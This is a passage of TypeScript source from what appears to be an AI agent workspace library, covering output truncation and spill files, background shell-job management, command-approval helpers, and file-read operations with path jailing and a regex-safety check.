Math.max(0, maxBytes);\n\n while (from < bytes.byteLength && ((bytes[from] ?? 0) & 0xc0) === 0x80) {\n from++;\n }\n\n return bytes.subarray(from).toString(\"utf8\");\n}\n\n/** Lines of `value`; a trailing line break does not add an empty line. */\nexport function splitLines(value: string): string[] {\n if (value === \"\") {\n return [];\n }\n\n const lines = value.split(\"\\n\");\n\n if (lines[lines.length - 1] === \"\") {\n lines.pop();\n }\n\n return lines;\n}\n\n/** Pick lines from the front within `lines` / `bytes`; one oversized line is clipped. */\nfunction takeHead(lines: string[], maxLines: number, maxBytes: number): string[] {\n const out: string[] = [];\n let used = 0;\n\n for (const line of lines) {\n if (out.length >= maxLines) {\n break;\n }\n\n const cost = byteLength(line) + 1;\n\n if (used + cost > maxBytes) {\n if (out.length === 0 && maxBytes > 0) {\n out.push(headOf(line, maxBytes));\n }\n\n break;\n }\n\n out.push(line);\n used += cost;\n }\n\n return out;\n}\n\n/** Pick lines from the back, same limits; the result is in file order. */\nfunction takeTail(lines: string[], maxLines: number, maxBytes: number): string[] {\n const out: string[] = [];\n let used = 0;\n\n for (let index = lines.length - 1; index >= 0; index--) {\n const line = lines[index] ?? \"\";\n\n if (out.length >= maxLines) {\n break;\n }\n\n const cost = byteLength(line) + 1;\n\n if (used + cost > maxBytes) {\n if (out.length === 0 && maxBytes > 0) {\n out.push(tailOf(line, maxBytes));\n }\n\n break;\n }\n\n out.unshift(line);\n used += cost;\n }\n\n return out;\n}\n\n/** Choose the lines to keep for `keep`; `headCount` lines come from the front. */\nfunction select(\n lines: string[],\n keep: WorkspaceOutputKeep,\n maxLines: number,\n maxBytes: number,\n): { head: string[]; tail: string[] } {\n if (keep === \"head\") {\n return { head: takeHead(lines, maxLines, maxBytes), tail: [] };\n }\n\n if (keep === \"tail\") {\n return { head: [], tail: takeTail(lines, maxLines, maxBytes) };\n }\n\n const headLines = Math.ceil(maxLines / 2);\n const headBytes = Math.ceil(maxBytes / 2);\n const head = takeHead(lines, headLines, headBytes);\n const rest = lines.slice(head.length);\n const tail = takeTail(rest, maxLines - head.length, maxBytes - headBytes);\n\n return { head, tail };\n}\n\n/**\n * Keeps oversized command, search and read output from flooding the model:\n * with `output.spillDir` set it saves the full output to a file and returns\n * the part the policy keeps plus a pointer to it. One instance per ops layer;\n * it remembers the files it wrote so `dispose()` can remove them.\n */\nexport class OutputSpiller {\n private readonly created: string[] = [];\n private readonly dir: string | undefined;\n\n public constructor(\n private readonly backend: WorkspaceBackend,\n private readonly policy: WorkspacePolicy,\n ) {\n this.dir = resolveSpillDir(policy);\n\n if (this.dir !== undefined && this.retentionMs > 0) {\n void this.sweep();\n }\n }\n\n /** True when `output.spillDir` is set. */\n public get enabled(): boolean {\n return this.dir !== undefined;\n }\n\n /** The spill directory, when spilling is on. */\n public get spillDir(): string | undefined {\n return this.dir;\n }\n\n private get retentionMs(): number {\n return this.policy.output?.retentionMs ?? DEFAULT_RETENTION_MS;\n }\n\n private limits(cap: number | undefined): { maxLines: number; maxBytes: number } {\n const configured = this.policy.output?.maxBytes ?? DEFAULT_MAX_BYTES;\n\n return {\n maxLines: Math.max(1, Math.floor(this.policy.output?.maxLines ?? DEFAULT_MAX_LINES)),\n maxBytes: Math.max(1, Math.floor(cap === undefined ? configured : Math.min(configured, cap))),\n };\n }\n\n /** Remove spill files older than the retention (only files named like ours). */\n public async sweep(): Promise<void> {\n if (this.dir === undefined) {\n return;\n }\n\n try {\n const now = Date.now();\n\n for (const file of await this.backend.list(this.dir)) {\n const match = SPILL_NAME.exec(path.basename(file));\n\n if (match !== null && now - Number(match[1]) > this.retentionMs) {\n await this.backend.remove(file).catch(() => undefined);\n }\n }\n } catch {\n // No spill directory yet, or it is not listable: nothing to clean.\n }\n }\n\n /** Write `content` to a new spill file and return its absolute path. */\n private async write(label: string, content: string): Promise<string | undefined> {\n if (this.dir === undefined) {\n return undefined;\n }\n\n try {\n if (this.retentionMs > 0) {\n await this.sweep();\n }\n\n const safe = label.toLowerCase().replace(/[^a-z0-9_-]+/g, \"-\") || \"output\";\n const rand = Math.random().toString(36).slice(2, 8) || \"x\";\n const file = path.join(this.dir, `spill-${Date.now()}-${rand}-${safe}.txt`);\n\n await this.backend.mkdir(this.dir);\n await this.backend.writeFile(file, content);\n this.created.push(file);\n\n return file;\n } catch {\n return undefined;\n }\n }\n\n /**\n * Fit `value` to the policy. Returns it untouched when it fits. Over the\n * limits with spilling on, the whole text is saved and the kept lines come\n * back with a `[showing lines … of …; full output saved to …]` marker.\n * `cap` is a tighter byte limit from elsewhere (`shell.maxOutputBytes`).\n */\n public async text(\n label: string,\n value: string,\n defaultKeep: WorkspaceOutputKeep,\n cap?: number,\n ): Promise<SpilledText> {\n if (this.dir === undefined) {\n return { value };\n }\n\n const { maxLines, maxBytes } = this.limits(cap);\n const lines = splitLines(value);\n const totalBytes = byteLength(value);\n\n if (lines.length <= maxLines && totalBytes <= maxBytes) {\n return { value };\n }\n\n const keep = this.policy.output?.keep ?? defaultKeep;\n const { head, tail } = select(lines, keep, maxLines, maxBytes);\n const file = await this.write(label, value);\n const shown = head.length + tail.length;\n const total = lines.length;\n const where = file === undefined ? \"the rest was dropped\" : `full output saved to ${file}`;\n const range =\n tail.length === 0\n ? `lines 1-${head.length}`\n : head.length === 0\n ? `lines ${total - tail.length + 1}-${total}`\n : `lines 1-${head.length} and ${total - tail.length + 1}-${total}`;\n const marker = `[showing ${range} of ${total}; ${where}]`;\n const parts = [...(head.length > 0 ? [head.join(\"\\n\")] : []), marker];\n\n if (tail.length > 0) {\n parts.push(tail.join(\"\\n\"));\n\n // The marker sits between head and tail; end the text with the file too.\n if (file !== undefined) {\n parts.push(`[full output saved to ${file}]`);\n }\n }\n\n return {\n value: parts.join(\"\\n\"),\n truncation: {\n shown: { lines: shown },\n total: { lines: total, bytes: totalBytes },\n ...(file !== undefined ? { path: file } : {}),\n },\n };\n }\n\n /**\n * Fit a list of entries (one line each when rendered) to the policy; the\n * rendered full list is what gets saved.\n */\n public async list<T>(\n label: string,\n items: T[],\n render: (item: T) => string,\n defaultKeep: WorkspaceOutputKeep,\n ): Promise<SpilledList<T>> {\n if (this.dir === undefined) {\n return { items };\n }\n\n const { maxLines, maxBytes } = this.limits(undefined);\n const lines = items.map(render);\n const totalBytes = lines.reduce((sum, line) => sum + byteLength(line) + 1, 0);\n\n if (items.length <= maxLines && totalBytes <= maxBytes) {\n return { items };\n }\n\n const keep = this.policy.output?.keep ?? defaultKeep;\n // Count how many whole entries fit from each end, then slice the items.\n const { head, tail } = select(lines, keep, maxLines, maxBytes);\n const headCount = head.length;\n const tailCount = tail.length;\n const file = await this.write(label, lines.join(\"\\n\") + \"\\n\");\n\n return {\n items: [...items.slice(0, headCount), ...items.slice(items.length - tailCount)],\n truncation: {\n shown: { lines: headCount + tailCount },\n total: { lines: items.length, bytes: totalBytes },\n ...(file !== undefined ? { path: file } : {}),\n },\n };\n }\n\n /** Save the complete text of an output that was already cut elsewhere. */\n public async save(label: string, content: string): Promise<string | undefined> {\n return this.write(label, content);\n }\n\n /** Remove expired files, and this run's own when `retentionMs` is `0`. */\n public async dispose(): Promise<void> {\n if (this.dir === undefined) {\n return;\n }\n\n if (this.retentionMs === 0) {\n for (const file of this.created.splice(0)) {\n await this.backend.remove(file).catch(() => undefined);\n }\n\n return;\n }\n\n await this.sweep();\n }\n}\n","import type { WorkspaceCommandPattern } from \"../contracts\";\n\n/** The longest refusal reason passed on to the model, in characters. */\nexport const MAX_REFUSAL_REASON = 500;\n\n/** Whether two command patterns are the same (strings by value, RegExps by source and flags). */\nexport function samePattern(a: WorkspaceCommandPattern, b: WorkspaceCommandPattern): boolean {\n if (typeof a === \"string\" || typeof b === \"string\") {\n return a === b;\n }\n\n return a.source === b.source && a.flags === b.flags;\n}\n\n/**\n * The tail of a refusal message for an owner's reason: `\".\"` without one,\n * otherwise `\" — <reason>\"` cut at {@link MAX_REFUSAL_REASON} characters with\n * a visible marker.\n */\nexport function refusalReason(reason: string | undefined): string {\n const text = typeof reason === \"string\" ? reason.trim() : \"\";\n\n if (text.length === 0) {\n return \".\";\n }\n\n const shown =\n text.length > MAX_REFUSAL_REASON ? `${text.slice(0, MAX_REFUSAL_REASON)}… [truncated]` : text;\n\n return ` — ${shown}`;\n}\n","import { WorkspaceJobError, WorkspacePolicyError } from \"./errors\";\nimport type {\n ShellJobInfo,\n ShellJobStatus,\n ShellOutputOptions,\n ShellOutputResult,\n WorkspaceBackendProcess,\n WorkspaceOutputStream,\n} from \"./contracts\";\n\n/** Default most background commands running at once. */\nexport const DEFAULT_MAX_BACKGROUND_JOBS = 4;\n\n/** Finished commands kept for a last `shell_output` read before the oldest are pruned. */\nconst MAX_FINISHED_JOBS = 16;\n\n/** Longest `waitMs` a `shellOutput` call may ask for. */\nexport const MAX_OUTPUT_WAIT_MS = 30_000;\n\n/** How long `kill()` / `dispose()` wait for a killed tree to report its exit. */\nconst KILL_SETTLE_MS = 5_000;\n\n/** One retained piece of output. */\ninterface OutputChunk {\n stream: WorkspaceOutputStream;\n text: string;\n /** Cumulative byte offset of the chunk's first byte. */\n offset: number;\n bytes: number;\n}\n\n/** What {@link ShellJobs.start} needs to launch one command. */\nexport interface ShellJobSpec {\n /** The command line (already policy-checked). */\n command: string;\n /** Most bytes of output to keep (newest wins). */\n retainBytes: number;\n /** Most commands running at once. */\n maxJobs: number;\n /** Wall-clock cap, if any. */\n timeoutMs?: number;\n /** Start the process; output must be delivered through `onOutput`. */\n launch(onOutput: (stream: WorkspaceOutputStream, chunk: string) => void): WorkspaceBackendProcess;\n}\n\n/** Resolve after `ms`, without keeping the event loop alive. */\nfunction delay(ms: number): Promise<void> {\n return new Promise((resolve) => {\n const timer = setTimeout(resolve, ms);\n\n timer.unref?.();\n });\n}\n\n/**\n * Keep the last `maxBytes` UTF-8 bytes of `text`, cutting forward to a\n * character boundary so the kept tail never starts mid-character.\n */\nfunction tailUtf8(text: string, maxBytes: number): { text: string; bytes: number } {\n const buffer = Buffer.from(text, \"utf8\");\n\n if (buffer.byteLength <= maxBytes) {\n return { text, bytes: buffer.byteLength };\n }\n\n let start = buffer.byteLength - maxBytes;\n\n while (start < buffer.byteLength && ((buffer[start] ?? 0) & 0xc0) === 0x80) {\n start++;\n }\n\n const kept = buffer.subarray(start);\n\n return { text: kept.toString(\"utf8\"), bytes: kept.byteLength };\n}\n\n/** Bytes of `text` from byte `skip` on, moved forward to a character boundary. */\nfunction skipUtf8(text: string, skip: number): string {\n const buffer = Buffer.from(text, \"utf8\");\n let start = Math.max(0, skip);\n\n while (start < buffer.byteLength && ((buffer[start] ?? 0) & 0xc0) === 0x80) {\n start++;\n }\n\n return buffer.subarray(start).toString(\"utf8\");\n}\n\n/** One background command and its retained output. */\nclass ShellJob {\n public status: ShellJobStatus = \"running\";\n\n public exitCode: number | null = null;\n\n public endedAt?: string;\n\n public readonly startedAt = new Date().toISOString();\n\n /** Total bytes produced so far (both streams). */\n public produced = 0;\n\n /** Where the next default read starts. */\n public readCursor = 0;\n\n /** Retained output, oldest first. */\n private readonly chunks: OutputChunk[] = [];\n\n private retained = 0;\n\n private readonly listeners = new Set<() => void>();\n\n public process?: WorkspaceBackendProcess;\n\n public killRequested = false;\n\n public timedOut = false;\n\n public timer?: ReturnType<typeof setTimeout>;\n\n public constructor(\n public readonly id: string,\n public readonly command: string,\n private readonly retainBytes: number,\n ) {}\n\n public append(stream: WorkspaceOutputStream, chunk: string): void {\n if (chunk === \"\") {\n return;\n }\n\n const bytes = Buffer.byteLength(chunk, \"utf8\");\n\n this.chunks.push({ stream, text: chunk, offset: this.produced, bytes });\n this.produced += bytes;\n this.retained += bytes;\n this.trim();\n this.notify();\n }\n\n /** Drop the oldest output until at most `retainBytes` are kept. */\n private trim(): void {\n while (this.retained > this.retainBytes && this.chunks.length > 0) {\n const oldest = this.chunks[0];\n\n if (oldest === undefined) {\n return;\n }\n\n const excess = this.retained - this.retainBytes;\n\n if (oldest.bytes <= excess) {\n this.chunks.shift();\n this.retained -= oldest.bytes;\n\n continue;\n }\n\n const kept = tailUtf8(oldest.text, oldest.bytes - excess);\n\n this.retained -= oldest.bytes - kept.bytes;\n oldest.offset += oldest.bytes - kept.bytes;\n oldest.text = kept.text;\n oldest.bytes = kept.bytes;\n }\n }\n\n public finish(exitCode: number): void {\n if (this.status !== \"running\") {\n return;\n }\n\n this.exitCode = exitCode;\n this.status = this.timedOut ? \"timed-out\" : this.killRequested ? \"killed\" : \"exited\";\n this.endedAt = new Date().toISOString();\n\n if (this.timer !== undefined) {\n clearTimeout(this.timer);\n }\n\n this.notify();\n }\n\n private notify(): void {\n for (const listener of [...this.listeners]) {\n listener();\n }\n }\n\n /** Resolve on the next output or state change (or after `ms`, or on abort). */\n public waitForChange(ms: number, signal?: AbortSignal): Promise<void> {\n return new Promise((resolve) => {\n if (signal?.aborted) {\n resolve();\n\n return;\n }\n\n let timer: ReturnType<typeof setTimeout> | undefined;\n\n const done = (): void => {\n if (timer !== undefined) {\n clearTimeout(timer);\n }\n\n this.listeners.delete(done);\n signal?.removeEventListener(\"abort\", done);\n resolve();\n };\n\n timer = setTimeout(done, ms);\n timer.unref?.();\n this.listeners.add(done);\n signal?.addEventListener(\"abort\", done, { once: true });\n });\n }\n\n public info(): ShellJobInfo {\n return {\n id: this.id,\n command: this.command,\n status: this.status,\n exitCode: this.exitCode,\n ...(this.process?.pid !== undefined ? { pid: this.process.pid } : {}),\n startedAt: this.startedAt,\n ...(this.endedAt !== undefined ? { endedAt: this.endedAt } : {}),\n };\n }\n\n /** Output produced after byte `since`, plus how much of it is gone. */\n public read(since: number): ShellOutputResult {\n const from = Math.min(Math.max(0, Math.floor(since)), this.produced);\n const firstRetained = this.chunks[0]?.offset ?? this.produced;\n const droppedBytes = Math.max(0, firstRetained - from);\n let stdout = \"\";\n let stderr = \"\";\n\n for (const chunk of this.chunks) {\n const end = chunk.offset + chunk.bytes;\n\n if (end <= from) {\n continue;\n }\n\n const text = chunk.offset >= from ? chunk.text : skipUtf8(chunk.text, from - chunk.offset);\n\n if (chunk.stream === \"stdout\") {\n stdout += text;\n } else {\n stderr += text;\n }\n }\n\n this.readCursor = this.produced;\n\n return {\n ...this.info(),\n stdout,\n stderr,\n cursor: this.produced,\n droppedBytes,\n truncated: droppedBytes > 0,\n };\n }\n}\n\n/**\n * The background commands one workspace owns. Shared by every projection\n * (`readonly()`, `scope()`) of the workspace, so `dispose()` on any of them\n * stops them all.\n */\nexport class ShellJobs {\n private readonly jobs = new Map<string, ShellJob>();\n\n private nextId = 1;\n\n private disposed = false;\n\n /** Whether {@link dispose} has run. */\n public get isDisposed(): boolean {\n return this.disposed;\n }\n\n /** Start a command as a background job. */\n public start(spec: ShellJobSpec): ShellJobInfo {\n if (this.disposed) {\n throw new WorkspacePolicyError(\n \"The workspace has been disposed; it cannot start new commands.\",\n { type: \"denied-command\", reason: \"not-allowed\", command: spec.command },\n );\n }\n\n const running = [...this.jobs.values()].filter((job) => job.status === \"running\").length;\n\n if (running >= spec.maxJobs) {\n throw new WorkspacePolicyError(\n `${running} background commands are already running (the limit is ${spec.maxJobs}). Stop one with shell_kill first.`,\n { type: \"denied-command\", reason: \"not-allowed\", command: spec.command },\n );\n }\n\n const job = new ShellJob(`job-${this.nextId++}`, spec.command, spec.retainBytes);\n\n this.jobs.set(job.id, job);\n\n const handle = spec.launch((stream, chunk) => job.append(stream, chunk));\n\n job.process = handle;\n\n if (spec.timeoutMs !== undefined && spec.timeoutMs > 0) {\n job.timer = setTimeout(() => {\n if (job.status === \"running\") {\n job.timedOut = true;\n handle.kill();\n }\n }, spec.timeoutMs);\n job.timer.unref?.();\n }\n\n void handle.done.then(({ exitCode }) => job.finish(exitCode));\n this.prune();\n\n return job.info();\n }\n\n /** Forget the oldest finished jobs beyond {@link MAX_FINISHED_JOBS}. */\n private prune(): void {\n const finished = [...this.jobs.values()].filter((job) => job.status !== \"running\");\n\n for (const job of finished.slice(0, Math.max(0, finished.length - MAX_FINISHED_JOBS))) {\n this.jobs.delete(job.id);\n }\n }\n\n private get(id: string): ShellJob {\n const job = this.jobs.get(id);\n\n if (job === undefined) {\n throw new WorkspaceJobError(\n `No background command with id \"${id}\" exists in this workspace.`,\n {\n type: \"not-found\",\n jobId: id,\n },\n );\n }\n\n return job;\n }\n\n /** New output of a job (see {@link ShellOutputOptions}). */\n public async output(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n const job = this.get(id);\n const since = opts?.since ?? job.readCursor;\n const waitMs = Math.min(Math.max(0, opts?.waitMs ?? 0), MAX_OUTPUT_WAIT_MS);\n\n if (waitMs > 0 && job.status === \"running\" && job.produced <= since) {\n await job.waitForChange(waitMs, opts?.signal);\n }\n\n return job.read(since);\n }\n\n /** Kill a job's process tree and wait (bounded) for it to stop. */\n public async kill(id: string): Promise<ShellJobInfo> {\n const job = this.get(id);\n\n await this.stop(job);\n\n return job.info();\n }\n\n private async stop(job: ShellJob): Promise<void> {\n if (job.status !== \"running\" || job.process === undefined) {\n return;\n }\n\n job.killRequested = true;\n job.process.kill();\n await Promise.race([job.process.done, delay(KILL_SETTLE_MS)]);\n }\n\n /** Every job, oldest first. */\n public list(): ShellJobInfo[] {\n return [...this.jobs.values()].map((job) => job.info());\n }\n\n /** Kill every running job and refuse new ones. Idempotent. */\n public async dispose(): Promise<void> {\n this.disposed = true;\n await Promise.all([...this.jobs.values()].map((job) => this.stop(job)));\n }\n}\n","import path from \"node:path\";\nimport { fs } from \"@warlock.js/fs\";\nimport { applyReplacement, type AppliedReplacementOptions } from \"./edit/apply-replacement\";\nimport { WorkspaceEditError, WorkspacePolicyError } from \"./errors\";\nimport { runAfterEdit } from \"./hooks/after-edit\";\nimport { OutputSpiller, splitLines } from \"./output/spill\";\nimport { globToRegExp, isInside, matchesAnyGlob } from \"./policy/jail\";\nimport { buildCommandEnv, resolveInJail } from \"./policy/policy\";\nimport { refusalReason, samePattern } from \"./policy/approval-helpers\";\nimport { checkShellCommand } from \"./policy/shell-check\";\nimport { resolveShell, type ResolvedShell } from \"./policy/shell-interpreter\";\nimport { DEFAULT_MAX_BACKGROUND_JOBS, ShellJobs } from \"./shell-jobs\";\nimport { executePatch } from \"./patch/execute-patch\";\nimport type {\n ApplyPatchInput,\n ApplyPatchResult,\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepMatch,\n GlobResult,\n GrepResult,\n ListDirEntry,\n ListDirEntryType,\n ListDirOptions,\n ListDirResult,\n MultiEditInput,\n MultiEditResult,\n ReadFileResult,\n RunShellResult,\n ShellJobInfo,\n ShellOutputOptions,\n ShellOutputResult,\n StartShellOptions,\n WorkspaceBackend,\n WorkspaceCommandPattern,\n WorkspaceOps,\n WorkspacePolicy,\n WorkspaceShellAsk,\n WorkspaceShellOnAsk,\n WorkspaceEditTool,\n WorkspaceTruncation,\n} from \"./contracts\";\n\n/** Default line window a read returns when the policy sets no `defaultLines`. */\nconst DEFAULT_READ_LINES = 2000;\n/** Hard ceiling on grep matches returned, so a broad pattern can't flood. */\nconst DEFAULT_MAX_GREP_MATCHES = 1000;\n/** Default per-command output byte cap when the policy sets none. */\nconst DEFAULT_MAX_OUTPUT_BYTES = 1_000_000;\n/** Default `list.ignore` when the policy sets none. */\nconst DEFAULT_LIST_IGNORE: readonly string[] = [\"node_modules\", \".git\"];\n/** Default deepest `depth` a listing may ask for. */\nconst DEFAULT_LIST_MAX_DEPTH = 5;\n/** Default most entries one listing returns. */\nconst DEFAULT_LIST_MAX_ENTRIES = 500;\n/** Most edits one `multiEdit` call may carry. */\nexport const MAX_MULTI_EDITS = 100;\n/**\n * Exit code reported for a command refused because its signal was already\n * aborted (the shell convention for an interrupted command). Callers should\n * branch on `cancelled`, not on this number.\n */\nconst CANCELLED_BEFORE_START_EXIT_CODE = 130;\n/**\n * Hard ceiling on `grep` pattern length. A model-controlled regex has no\n * legitimate reason to be this long; longer patterns are rejected outright\n * rather than compiled.\n */\nconst MAX_GREP_PATTERN_LENGTH = 200;\n/**\n * Hard ceiling on the number of characters of a single line handed to\n * `RegExp#test` during a `grep`. Catastrophic backtracking is exponential\n * in input length, so bounding the input scanned per call bounds the\n * worst-case time a single pathological line can cost — lines longer than\n * this are skipped rather than scanned.\n */\nconst MAX_GREP_LINE_SCAN_LENGTH = 2000;\n\n/** The `cat -n` prefix for a line: right-aligned number (min width 6) and a tab. */\nfunction linePrefix(lineNumber: number): string {\n return `${String(lineNumber).padStart(6, \" \")}\\t`;\n}\n\n/**\n * Clip `value` to at most `maxBytes` UTF-8 bytes without splitting a\n * character: the cut backs off over continuation bytes (`10xxxxxx`) to the\n * start of the character it would have split, so the result never carries\n * a replacement character.\n */\nfunction clipUtf8(value: string, maxBytes: number): { value: string; truncated: boolean } {\n const bytes = Buffer.from(value, \"utf8\");\n\n if (bytes.byteLength <= maxBytes) {\n return { value, truncated: false };\n }\n\n let cut = Math.max(0, maxBytes);\n\n while (cut > 0 && ((bytes[cut] ?? 0) & 0xc0) === 0x80) {\n cut--;\n }\n\n return { value: bytes.subarray(0, cut).toString(\"utf8\"), truncated: true };\n}\n\n/**\n * Number a window of lines `cat -n` style, keeping the joined output within\n * `maxBytes` UTF-8 bytes (prefixes and newlines included) when a cap is set.\n * A line that does not fit whole is clipped on a character boundary; it is\n * still counted as returned when its prefix and at least one character fit.\n */\nfunction numberWindow(\n lines: string[],\n startLine: number,\n maxBytes: number | undefined,\n): { content: string; returnedLines: number; bytesCapped: boolean } {\n const parts: string[] = [];\n let used = 0;\n\n for (let index = 0; index < lines.length; index++) {\n const prefix = linePrefix(startLine + index);\n const numbered = prefix + lines[index];\n const separator = parts.length > 0 ? 1 : 0;\n\n if (maxBytes === undefined) {\n parts.push(numbered);\n\n continue;\n }\n\n const cost = separator + Buffer.byteLength(numbered, \"utf8\");\n\n if (used + cost <= maxBytes) {\n parts.push(numbered);\n used += cost;\n\n continue;\n }\n\n const room = maxBytes - used - separator - Buffer.byteLength(prefix, \"utf8\");\n const clipped = room > 0 ? clipUtf8(lines[index] ?? \"\", room).value : \"\";\n\n if (clipped.length > 0) {\n parts.push(prefix + clipped);\n }\n\n return { content: parts.join(\"\\n\"), returnedLines: parts.length, bytesCapped: true };\n }\n\n return { content: parts.join(\"\\n\"), returnedLines: parts.length, bytesCapped: false };\n}\n\n/**\n * Clip a captured stream at `maxBytes` (measured in UTF-8 bytes), on a\n * character boundary. Returns the possibly-clipped string plus whether\n * clipping occurred.\n */\nfunction capOutput(value: string, maxBytes: number): { value: string; truncated: boolean } {\n return clipUtf8(value, maxBytes);\n}\n\n/**\n * A quantifier: `+`, `*`, `?`, or a `{m,n}` bound.\n */\nconst QUANTIFIER_SOURCE = String.raw`[+*?]|\\{\\d*,?\\d*\\}`;\n\n/**\n * Heuristic catastrophic-backtracking detector: flags a quantified group\n * that itself contains a quantifier (e.g. `(a+)+`, `(a*)*`, `(.+)*`) —\n * the classic exponential-blowup shape. Not a full regex-safety analyzer\n * (it won't catch every ReDoS shape, e.g. quantified alternation like\n * `(a|a)+`), but it rejects the shape an agent is most likely to emit,\n * intentionally or via prompt injection.\n */\nconst NESTED_QUANTIFIER_PATTERN = new RegExp(\n String.raw`\\([^()]*(?:${QUANTIFIER_SOURCE})[^()]*\\)(?:${QUANTIFIER_SOURCE})`,\n);\n\n/**\n * Whether `pattern` is safe enough to compile and run against workspace\n * content: within the length cap and free of the nested-quantifier shape\n * that causes catastrophic regex backtracking (ReDoS).\n */\nfunction isSafeGrepPattern(pattern: string): boolean {\n if (pattern.length > MAX_GREP_PATTERN_LENGTH) {\n return false;\n }\n\n return !NESTED_QUANTIFIER_PATTERN.test(pattern);\n}\n\n/**\n * The internal, single-instance implementation of {@link WorkspaceOps}.\n * Holds the backend + policy and is the one place the jail, command\n * gating, read caps, and the read-before-edit guard are enforced — both\n * the agent-facing tools and the human-facing direct methods funnel\n * through this object, so there is exactly one set of rules.\n */\n/**\n * State an ops layer shares with the other projections of the same\n * workspace (`readonly()`, `scope()`): the background commands it owns.\n */\nexport interface OpsRuntime {\n /** The workspace's background commands. */\n jobs: ShellJobs;\n /** Patterns the host approved with `remember`, shared by every view of the workspace. */\n approvals?: WorkspaceCommandPattern[];\n}\n\nclass Ops implements WorkspaceOps {\n /**\n * Tail of the mutation chain per resolved absolute path. Writes, edits and\n * removes on the same path run one after another, so two tool calls the\n * agent dispatches concurrently cannot both read the same content, both\n * pass the stale-hash guard and silently drop one edit: the second one\n * re-reads after the first has written.\n */\n private readonly pathLocks = new Map<string, Promise<void>>();\n\n /** The shell `policy.shell.interpreter` resolves to on this host, resolved once. */\n private readonly resolvedShell: ResolvedShell;\n\n /** Patterns approved with `remember` (shared through the runtime). */\n private readonly approvals: WorkspaceCommandPattern[];\n\n /** Saves oversized output to files when `output.spillDir` is set. */\n private readonly spiller: OutputSpiller;\n\n public constructor(\n private readonly backend: WorkspaceBackend,\n private readonly policy: WorkspacePolicy,\n private readonly runtime: OpsRuntime,\n ) {\n this.resolvedShell = resolveShell(policy.shell);\n this.approvals = runtime.approvals ?? [];\n this.spiller = new OutputSpiller(backend, policy);\n }\n\n /** The edit-policy settings applied to every replacement. */\n private editOptions(): AppliedReplacementOptions {\n const edit = this.policy.edit;\n\n return {\n matching: edit?.matching ?? \"tiered\",\n missHintLines: edit?.missHintLines ?? 12,\n lineEndings: edit?.lineEndings ?? \"preserve\",\n ...(this.policy.read?.maxBytes !== undefined\n ? { hintMaxBytes: this.policy.read.maxBytes }\n : {}),\n };\n }\n\n /** Run `afterEdit` for a call that wrote `paths`; `undefined` when there is no output. */\n private diagnosticsFor(\n tool: WorkspaceEditTool,\n paths: readonly string[],\n ): Promise<string | undefined> {\n return runAfterEdit(this.policy, { paths, tool });\n }\n\n /** Run `task` after every earlier mutation of `absolutePath` has settled. */\n private async withPathLock<T>(absolutePath: string, task: () => Promise<T>): Promise<T> {\n const previous = this.pathLocks.get(absolutePath) ?? Promise.resolve();\n let release: () => void = () => {};\n const current = new Promise<void>((resolve) => {\n release = resolve;\n });\n const tail = previous.then(() => current);\n\n this.pathLocks.set(absolutePath, tail);\n\n try {\n await previous;\n\n return await task();\n } finally {\n release();\n\n if (this.pathLocks.get(absolutePath) === tail) {\n this.pathLocks.delete(absolutePath);\n }\n }\n }\n\n /**\n * Recursively collect every file under `absDir` as absolute paths,\n * via the backend's `list` (so it works over disk or the in-memory\n * mock). Directories are descended; files are accumulated.\n */\n private async walkFiles(absDir: string): Promise<string[]> {\n const found: string[] = [];\n const entries = await this.backend.list(absDir);\n\n await Promise.all(\n entries.map(async (entry) => {\n // A child is a directory iff listing it succeeds; the backend\n // throws/returns for a file. Probe via `exists` + a list guard.\n const isDir = await this.isDirectory(entry);\n\n if (isDir) {\n const nested = await this.walkFiles(entry);\n found.push(...nested);\n } else {\n found.push(entry);\n }\n }),\n );\n\n return found;\n }\n\n /** Whether an absolute path is a directory, by attempting to list it. */\n private async isDirectory(absPath: string): Promise<boolean> {\n try {\n await this.backend.list(absPath);\n\n return true;\n } catch {\n return false;\n }\n }\n\n public async readFile(\n inputPath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath, \"read\");\n const raw = await this.backend.readFile(absolutePath);\n\n // Hash the full content the backend returned (SHA-256 via\n // @warlock.js/fs), not the returned window and not the on-disk file —\n // the mock backend keeps content in memory, and the stale-edit guard\n // later hashes the backend's content too, so it must be the SAME\n // source of truth whatever window or byte cap applied.\n const hash = fs.hash.string(raw);\n\n const lines = raw.split(\"\\n\");\n const totalLines = lines.length;\n\n const offset = Math.max(1, opts?.offset ?? 1);\n const limit = opts?.limit ?? this.policy.read?.defaultLines ?? DEFAULT_READ_LINES;\n const maxBytes = this.policy.read?.maxBytes;\n\n const startIndex = offset - 1;\n const window = lines.slice(startIndex, startIndex + Math.max(0, limit));\n const { content, returnedLines, bytesCapped } = numberWindow(\n window,\n offset,\n maxBytes === undefined ? undefined : Math.max(0, Math.floor(maxBytes)),\n );\n const endLine = offset + returnedLines - 1;\n const spillDir = this.spiller.spillDir;\n let spilled: { content: string; truncation: WorkspaceTruncation } | undefined;\n\n // A read of a spill file is never spilled again; it is already paged.\n if (bytesCapped && spillDir !== undefined && !isInside(absolutePath, spillDir)) {\n const full = numberWindow(window, offset, undefined).content;\n const file = await this.spiller.save(\"read_file\", full);\n\n if (file !== undefined) {\n spilled = {\n content: `${content}\\n[showing lines 1-${returnedLines} of ${window.length}; full output saved to ${file}]`,\n truncation: {\n shown: { lines: returnedLines },\n total: { lines: window.length, bytes: Buffer.byteLength(full, \"utf8\") },\n path: file,\n },\n };\n }\n }\n\n return {\n content: spilled?.content ?? content,\n ...(spilled !== undefined ? { truncation: spilled.truncation } : {}),\n ...(spilled?.truncation.path !== undefined ? { spilledTo: [spilled.truncation.path] } : {}),\n startLine: offset,\n endLine,\n totalLines,\n truncated: bytesCapped || endLine < totalLines,\n bytesCapped,\n totalBytes: Buffer.byteLength(raw, \"utf8\"),\n hash,\n };\n }\n\n public async writeFile(\n inputPath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number; diagnostics?: string }> {\n const { absolutePath, relativePath } = await resolveInJail(this.policy, inputPath);\n\n const written = await this.withPathLock(absolutePath, async () => {\n // Ensure the parent directory exists before writing the leaf.\n const parent = path.dirname(absolutePath);\n await this.backend.mkdir(parent);\n\n await this.backend.writeFile(absolutePath, content);\n\n return {\n hash: fs.hash.string(content),\n bytesWritten: Buffer.byteLength(content, \"utf8\"),\n };\n });\n const diagnostics = await this.diagnosticsFor(\"write_file\", [relativePath || inputPath]);\n\n return { 